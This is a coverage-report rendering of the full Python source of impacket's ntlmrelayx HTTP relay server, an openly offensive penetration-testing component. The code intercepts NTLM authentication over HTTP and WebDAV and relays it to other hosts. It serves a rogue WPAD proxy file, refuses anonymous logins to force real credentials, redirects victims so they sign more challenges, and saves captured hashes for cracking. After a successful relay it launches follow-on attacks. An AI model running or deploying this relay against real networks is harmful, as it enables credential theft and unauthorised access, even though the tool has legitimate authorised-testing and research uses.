Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/httprelayserver.py: 10%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/httprelayserver.py : 10%

## 288 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.

2#

3# This software is provided under under a slightly modified version

4# of the Apache Software License. See the accompanying LICENSE file

5# for more information.

6#

7# HTTP Relay Server

8#

9# Authors:

10# Alberto Solino (@agsolino)

11# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)

12#

13# Description:

14# This is the HTTP server which relays the NTLMSSP messages to other protocols

15

16 import http.server

17 import socketserver

18 import socket

19 import base64

20 import random

21 import struct

22 import string

23 from threading import Thread

24 from six import PY2, b

25

26 from impacket import ntlm, LOG

27 from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile

28 from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS

29 from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor

30 from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections

31

32 class HTTPRelayServer(Thread):

33

34 class HTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):

35 def __init__(self, server_address, RequestHandlerClass, config):

36 self.config = config

37 self.daemon_threads = True

38 if self.config.ipv6:

39 self.address_family = socket.AF_INET6

40 # Tracks the number of times authentication was prompted for WPAD per client

41 self.wpad_counters = {}

42 socketserver.TCPServer.__init__(self,server_address, RequestHandlerClass)

43

44 class HTTPHandler(http.server.SimpleHTTPRequestHandler):

45 def __init__(self,request, client_address, server):

46 self.server = server

47 self.protocol_version = 'HTTP/1.1'

48 self.challengeMessage = None

49 self.target = None

50 self.client = None

51 self.machineAccount = None

52 self.machineHashes = None

53 self.domainIp = None

54 self.authUser = None

55 self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \

56 '(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \

57 'return "PROXY %s:80; DIRECT";} '

58 if self.server.config.mode != 'REDIRECT':

59 if self.server.config.target is None:

60 # Reflection mode, defaults to SMB at the target, for now

61 self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])

62 self.target = self.server.config.target.getTarget()

63 if self.target is None:

64 LOG.info("HTTPD: Received connection from %s, but there are no more targets left!" % client_address[0])

65 return

66 LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc))

67 try:

68 http.server.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)

69 except Exception as e:

70 LOG.debug("Exception:", exc_info=True)

71 LOG.error(str(e))

72

73 def handle_one_request(self):

74 try:

75 http.server.SimpleHTTPRequestHandler.handle_one_request(self)

76 except KeyboardInterrupt:

77 raise

78 except Exception as e:

79 LOG.debug("Exception:", exc_info=True)

80 LOG.error('Exception in HTTP request handler: %s' % e)

81

82 def log_message(self, format, *args):

83 return

84

85 def send_error(self, code, message=None):

86 if message.find('RPC_OUT') >=0 or message.find('RPC_IN'):

87 return self.do_GET()

88 return http.server.SimpleHTTPRequestHandler.send_error(self,code,message)

89

90 def serve_wpad(self):

91 wpadResponse = self.wpad % (self.server.config.wpad_host, self.server.config.wpad_host)

92 self.send_response(200)

93 self.send_header('Content-type', 'application/x-ns-proxy-autoconfig')

94 self.send_header('Content-Length',len(wpadResponse))

95 self.end_headers()

96 self.wfile.write(b(wpadResponse))

97 return

98

99 def should_serve_wpad(self, client):

100 # If the client was already prompted for authentication, see how many times this happened

101 try:

102 num = self.server.wpad_counters[client]

103 except KeyError:

104 num = 0

105 self.server.wpad_counters[client] = num + 1

106 # Serve WPAD if we passed the authentication offer threshold

107 if num >= self.server.config.wpad_auth_num:

108 return True

109 else:

110 return False

111

112 def serve_image(self):

113 with open(self.server.config.serve_image, 'rb') as imgFile:

114 imgFile_data = imgFile.read()

115 self.send_response(200, "OK")

116 self.send_header('Content-type', 'image/jpeg')

117 self.send_header('Content-Length', str(len(imgFile_data)))

118 self.end_headers()

119 self.wfile.write(imgFile_data)

120

121 def do_HEAD(self):

122 self.send_response(200)

123 self.send_header('Content-type', 'text/html')

124 self.end_headers()

125

126 def do_OPTIONS(self):

127 self.send_response(200)

128 self.send_header('Allow',

129 'GET, HEAD, POST, PUT, DELETE, OPTIONS, PROPFIND, PROPPATCH, MKCOL, LOCK, UNLOCK, MOVE, COPY')

130 self.send_header('Content-Length', '0')

131 self.send_header('Connection', 'close')

132 self.end_headers()

133 return

134

135 def do_PROPFIND(self):

136 proxy = False

137 if (".jpg" in self.path) or (".JPG" in self.path):

138 content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/image.JPG/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>image.JPG</D:displayname><D:getcontentlength>4456</D:getcontentlength><D:getcontenttype>image/jpeg</D:getcontenttype><D:getetag>4ebabfcee4364434dacb043986abfffe</D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"""

139 else:

140 content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>a</D:displayname><D:getcontentlength></D:getcontentlength><D:getcontenttype></D:getcontenttype><D:getetag></D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype><D:collection></D:collection></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"""

141

142 messageType = 0

143 if PY2:

144 autorizationHeader = self.headers.getheader('Authorization')

145 else:

146 autorizationHeader = self.headers.get('Authorization')

147 if autorizationHeader is None:

148 self.do_AUTHHEAD(message=b'NTLM')

149 pass

150 else:

151 typeX = autorizationHeader

152 try:

153 _, blob = typeX.split('NTLM')

154 token = base64.b64decode(blob.strip())

155 except:

156 self.do_AUTHHEAD()

157 messageType = struct.unpack('<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

158

159 if messageType == 1:

160 if not self.do_ntlm_negotiate(token, proxy=proxy):

161 LOG.info("do negotiate failed, sending redirect")

162 self.do_REDIRECT()

163 elif messageType == 3:

164 authenticateMessage = ntlm.NTLMAuthChallengeResponse()

165 authenticateMessage.fromString(token)

166 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:

167 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (

168 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),

169 authenticateMessage['user_name'].decode('utf-16le')))

170 else:

171 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (

172 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),

173 authenticateMessage['user_name'].decode('ascii')))

174 self.do_ntlm_auth(token, authenticateMessage)

175 self.do_attack()

176

177

178 self.send_response(207, "Multi-Status")

179 self.send_header('Content-Type', 'application/xml')

180 self.send_header('Content-Length', str(len(content)))

181 self.end_headers()

182 self.wfile.write(content)

183 return

184

185 def do_AUTHHEAD(self, message = b'', proxy=False):

186 if proxy:

187 self.send_response(407)

188 self.send_header('Proxy-Authenticate', message.decode('utf-8'))

189 else:

190 self.send_response(401)

191 self.send_header('WWW-Authenticate', message.decode('utf-8'))

192 self.send_header('Content-type', 'text/html')

193 self.send_header('Content-Length','0')

194 self.end_headers()

195

196 #Trickery to get the victim to sign more challenges

197 def do_REDIRECT(self, proxy=False):

198 rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))

199 self.send_response(302)

200 self.send_header('WWW-Authenticate', 'NTLM')

201 self.send_header('Content-type', 'text/html')

202 self.send_header('Connection','close')

203 self.send_header('Location','/%s' % rstr)

204 self.send_header('Content-Length','0')

205 self.end_headers()

206

207 def do_SMBREDIRECT(self):

208 self.send_response(302)

209 self.send_header('Content-type', 'text/html')

210 self.send_header('Location','file://%s' % self.server.config.redirecthost)

211 self.send_header('Content-Length','0')

212 self.send_header('Connection','close')

213 self.end_headers()

214

215 def do_POST(self):

216 return self.do_GET()

217

218 def do_CONNECT(self):

219 return self.do_GET()

220

221 def do_GET(self):

222 # Get the body of the request if any

223 # Otherwise, successive requests will not be handled properly

224 if PY2:

225 contentLength = self.headers.getheader("Content-Length")

226 else:

227 contentLength = self.headers.get("Content-Length")

228 if contentLength is not None:

229 body = self.rfile.read(int(contentLength))

230

231 messageType = 0

232 if self.server.config.mode == 'REDIRECT':

233 self.do_SMBREDIRECT()

234 return

235

236 LOG.info('HTTPD: Client requested path: %s' % self.path.lower())

237

238 # Serve WPAD if:

239 # - The client requests it

240 # - A WPAD host was provided in the command line options

241 # - The client has not exceeded the wpad_auth_num threshold yet

242 if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]):

243 LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0])

244 self.serve_wpad()

245 return

246

247 # Determine if the user is connecting to our server directly or attempts to use it as a proxy

248 if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'):

249 proxy = True

250 else:

251 proxy = False

252

253 if PY2:

254 proxyAuthHeader = self.headers.getheader('Proxy-Authorization')

255 autorizationHeader = self.headers.getheader('Authorization')

256 else:

257 proxyAuthHeader = self.headers.get('Proxy-Authorization')

258 autorizationHeader = self.headers.get('Authorization')

259

260 if (proxy and proxyAuthHeader is None) or (not proxy and autorizationHeader is None):

261 self.do_AUTHHEAD(message = b'NTLM',proxy=proxy)

262 pass

263 else:

264 if proxy:

265 typeX = proxyAuthHeader

266 else:

267 typeX = autorizationHeader

268 try:

269 _, blob = typeX.split('NTLM')

270 token = base64.b64decode(blob.strip())

271 except Exception:

272 LOG.debug("Exception:", exc_info=True)

273 self.do_AUTHHEAD(message = b'NTLM', proxy=proxy)

274 else:

275 messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

276

277 if messageType == 1:

278 if not self.do_ntlm_negotiate(token, proxy=proxy):

279 #Connection failed

280 LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',

281 self.target.scheme, self.target.netloc)

282 self.server.config.target.logTarget(self.target)

283 self.do_REDIRECT()

284 elif messageType == 3:

285 authenticateMessage = ntlm.NTLMAuthChallengeResponse()

286 authenticateMessage.fromString(token)

287

288 if not self.do_ntlm_auth(token,authenticateMessage):

289 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:

290 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (

291 self.target.scheme, self.target.netloc,

292 authenticateMessage['domain_name'].decode('utf-16le'),

293 authenticateMessage['user_name'].decode('utf-16le')))

294 else:

295 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (

296 self.target.scheme, self.target.netloc,

297 authenticateMessage['domain_name'].decode('ascii'),

298 authenticateMessage['user_name'].decode('ascii')))

299

300 # Only skip to next if the login actually failed, not if it was just anonymous login or a system account

301 # which we don't want

302 if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$':

303 self.server.config.target.logTarget(self.target)

304 # No anonymous login, go to next host and avoid triggering a popup

305 self.do_REDIRECT()

306 else:

307 #If it was an anonymous login, send 401

308 self.do_AUTHHEAD(b'NTLM', proxy=proxy)

309 else:

310 # Relay worked, do whatever we want here...

311 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:

312 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (

313 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),

314 authenticateMessage['user_name'].decode('utf-16le')))

315 else:

316 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (

317 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),

318 authenticateMessage['user_name'].decode('ascii')))

319

320 ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],

321 authenticateMessage['user_name'],

322 authenticateMessage['domain_name'],

323 authenticateMessage['lanman'], authenticateMessage['ntlm'])

324 self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

325

326 if self.server.config.outputFile is not None:

327 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile)

328

329 self.server.config.target.logTarget(self.target, True, self.authUser)

330

331 self.do_attack()

332

333 # Serve image and return 200 if --serve-image option has been set by user

334 if (self.server.config.serve_image):

335 self.serve_image()

336 return

337

338 # And answer 404 not found

339 self.send_response(404)

340 self.send_header('WWW-Authenticate', 'NTLM')

341 self.send_header('Content-type', 'text/html')

342 self.send_header('Content-Length','0')

343 self.send_header('Connection','close')

344 self.end_headers()

345 return

346

347 def do_ntlm_negotiate(self, token, proxy):

348 if self.target.scheme.upper() in self.server.config.protocolClients:

349 self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, self.target)

350 # If connection failed, return

351 if not self.client.initConnection():

352 return False

353 self.challengeMessage = self.client.sendNegotiate(token)

354

355 # Remove target NetBIOS field from the NTLMSSP_CHALLENGE

356 if self.server.config.remove_target:

357 av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])

358 del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]

359 self.challengeMessage['TargetInfoFields'] = av_pairs.getData()

360 self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())

361 self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())

362

363 # Check for errors

364 if self.challengeMessage is False:

365 return False

366 else:

367 LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper())

368 return False

369

370 #Calculate auth

371 self.do_AUTHHEAD(message = b'NTLM '+base64.b64encode(self.challengeMessage.getData()), proxy=proxy)

372 return True

373

374 def do_ntlm_auth(self,token,authenticateMessage):

375 #For some attacks it is important to know the authenticated username, so we store it

376 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:

377 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),

378 authenticateMessage['user_name'].decode('utf-16le'))).upper()

379 else:

380 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),

381 authenticateMessage['user_name'].decode('ascii'))).upper()

382

383 if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':

384 clientResponse, errorCode = self.client.sendAuth(token)

385 else:

386 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except

387 # when coming from localhost

388 errorCode = STATUS_ACCESS_DENIED

389

390 if errorCode == STATUS_SUCCESS:

391 return True

392

393 return False

394

395 def do_attack(self):

396 # Check if SOCKS is enabled and if we support the target scheme

397 if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:

398 # Pass all the data to the socksplugins proxy

399 activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),

400 self.authUser, self.client, self.client.sessionData))

401 return

402

403 # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks

404 if self.target.scheme.upper() in self.server.config.attacks:

405 # We have an attack.. go for it

406 clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, self.client.session,

407 self.authUser)

408 clientThread.start()

409 else:

410 LOG.error('No attack configured for %s' % self.target.scheme.upper())

411

412 def __init__(self, config):

413 Thread.__init__(self)

414 self.daemon = True

415 self.config = config

416 self.server = None

417

418 def run(self):

419 LOG.info("Setting up HTTP Server")

420

421 if self.config.listeningPort:

422 httpport = self.config.listeningPort

423 else:

424 httpport = 80

425

426 # changed to read from the interfaceIP set in the configuration

427 self.server = self.HTTPServer((self.config.interfaceIp, httpport), self.HTTPHandler, self.config)

428

429 try:

430 self.server.serve_forever()

431 except KeyboardInterrupt:

432 pass

433 LOG.info('Shutting down HTTP Server')

434 self.server.server_close()